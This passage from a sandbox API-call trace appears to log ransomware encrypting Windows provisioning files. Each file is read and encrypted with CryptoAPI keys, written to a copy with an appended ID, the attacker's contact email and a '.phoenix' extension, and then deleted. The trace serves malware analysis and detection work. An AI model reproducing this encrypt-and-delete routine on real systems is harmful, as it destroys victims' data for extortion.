	[0236.043] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0236.043] CryptDestroyKey (hKey=0x151500) returned 1
	[0236.043] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0236.043] CryptDestroyKey (hKey=0x151700) returned 1
	[0236.043] CloseHandle (hObject=0x2f4) returned 1
	[0236.043] CloseHandle (hObject=0x2d4) returned 1
	[0236.043] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.044] SetEvent (hEvent=0x278) returned 1
	[0236.044] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0236.044] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.045] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=642) returned 1
	[0236.045] CloseHandle (hObject=0x2d4) returned 1
	[0236.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0236.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.046] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.046] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.046] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0236.046] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.046] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x282, lpOverlapped=0x0) returned 1
	[0236.105] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0236.105] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0236.106] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0236.106] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.106] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0236.106] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.106] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0236.106] CryptDestroyKey (hKey=0x151440) returned 1
	[0236.106] CloseHandle (hObject=0x2d4) returned 1
	[0236.106] CloseHandle (hObject=0x2f4) returned 1
	[0236.106] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.107] SetEvent (hEvent=0x278) returned 1
	[0236.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0236.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.108] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=719) returned 1
	[0236.108] CloseHandle (hObject=0x2f4) returned 1
	[0236.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0236.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.110] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.110] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.110] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0236.110] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.110] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0236.212] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0236.212] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.213] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0236.213] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.213] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0236.213] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0236.213] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0236.213] CryptDestroyKey (hKey=0x151580) returned 1
	[0236.213] CloseHandle (hObject=0x2f4) returned 1
	[0236.213] CloseHandle (hObject=0x2d4) returned 1
	[0236.213] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.214] SetEvent (hEvent=0x278) returned 1
	[0236.214] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0236.214] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.215] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=721) returned 1
	[0236.215] CloseHandle (hObject=0x2d4) returned 1
	[0236.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0236.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.215] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.215] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.215] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.215] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0236.215] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.215] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d1, lpOverlapped=0x0) returned 1
	[0236.217] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0236.217] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0236.218] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0236.218] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.218] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0236.218] CryptDestroyKey (hKey=0x151440) returned 1
	[0236.218] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0236.218] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.218] CloseHandle (hObject=0x2d4) returned 1
	[0236.218] CloseHandle (hObject=0x2f4) returned 1
	[0236.218] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml")) returned 1
	[0236.220] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0236.220] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.220] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=471) returned 1
	[0236.220] CloseHandle (hObject=0x2f4) returned 1
	[0236.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0236.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.220] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.220] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.221] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.221] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.221] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0236.221] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.221] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d7, lpOverlapped=0x0) returned 1
	[0236.222] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0236.222] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0236.223] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0236.223] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.223] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0236.223] CryptDestroyKey (hKey=0x151740) returned 1
	[0236.223] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0236.223] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0236.223] CloseHandle (hObject=0x2f4) returned 1
	[0236.223] CloseHandle (hObject=0x2d4) returned 1
	[0236.223] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0236.224] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0236.224] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.225] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=708) returned 1
	[0236.225] CloseHandle (hObject=0x2d4) returned 1
	[0236.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml")) returned 0x20
